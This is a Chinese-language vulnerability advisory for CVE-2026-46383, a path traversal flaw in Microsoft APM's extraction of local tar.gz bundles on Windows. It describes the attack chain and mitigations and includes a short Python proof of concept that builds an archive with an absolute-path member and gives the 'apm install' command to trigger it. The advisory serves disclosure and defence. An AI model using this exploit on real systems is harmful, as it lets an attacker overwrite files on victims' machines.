IPBUF安全漏洞报告
English
CVE-2026-46383 CVSS 5.5 中危

CVE-2026-46383 Microsoft APM 路径遍历漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-46383
漏洞类型
路径遍历
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Microsoft APM

相关标签

路径遍历Microsoft APMWindowsPython任意文件写入

漏洞概述

Microsoft APM 是一个开源的 AI 代理依赖管理器。在 0.13.0 版本之前,该软件在 Windows 系统上存在存档提取边界检查失败的漏洞。当用户使用 `apm install` 安装本地 .tar.gz 包时,如果该包未被识别为标准插件格式,APM 会尝试探测其是否为旧版 bundle。在 Python 3.12 之前的运行环境中,该探测过程直接使用 `tar.extractall()` 提取不受信任的 tar 成员,且未过滤 Windows 绝对路径(如 D:/...),导致攻击者可利用此缺陷覆盖系统文件。

技术细节

该漏洞源于 Microsoft APM 在处理遗留 bundle 探测时的不安全解压逻辑。受影响的代码在检测到非插件格式的 .tar.gz 文件时,会调用 Python 的 `tarfile.extractall()` 方法。在 Python 3.10 和 3.11 版本中,该方法不会自动拒绝包含绝对路径的文件名。攻击者可以构造一个特制的 tar.gz 文件,其中包含带有绝对路径(如 `D:/Windows/System32/config`)的恶意文件。当受害者执行 `apm install` 命令安装该恶意文件时,由于缺乏路径验证,文件会被解压到攻击者指定的任意位置。尽管攻击需要用户交互,但成功的利用将导致系统完整性受到严重影响。

攻击链分析

STEP 1
1. 构造恶意文件
攻击者创建一个包含带有绝对路径(如 D:/...)文件的 tar.gz 归档包。
STEP 2
2. 诱导用户
攻击者诱导受害者下载该恶意包并执行 `apm install <bundle>` 命令。
STEP 3
3. 触发漏洞
APM 在 Python 3.10/3.11 环境下解压文件,未过滤绝对路径,将文件写入任意位置。
STEP 4
4. 实现攻击
系统中的关键文件被恶意内容覆盖,导致完整性受损或系统功能异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io # PoC for CVE-2026-46383: Path Traversal via tar extraction # This script creates a malicious tar.gz file containing a file with an absolute path. def create_exploit_tar(output_file): data = b"This is a malicious payload that overwrites a system file." with tarfile.open(output_file, "w:gz") as tar: # Create a TarInfo object for the malicious file info = tarfile.TarInfo(name="D:/exploit_test.txt") info.size = len(data) # Add the file with absolute path to the archive tar.addfile(info, io.BytesIO(data)) print(f"[+] Exploit archive created: {output_file}") print(f"[+] Run 'apm install {output_file}' on a vulnerable system to trigger.") if __name__ == "__main__": create_exploit_tar("malicious_bundle.tar.gz")

影响范围

Microsoft APM < 0.13.0

防御指南

临时缓解措施
建议用户立即将 Microsoft APM 更新至 0.13.0 或更高版本以修复此漏洞。如果暂时无法更新,应确保在 Python 3.12 或更高版本的环境中运行 APM,因为较新的 Python 版本已缓解了 tar 模块中的路径遍历风险。此外,不要安装来源不明的本地 .tar.gz 包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表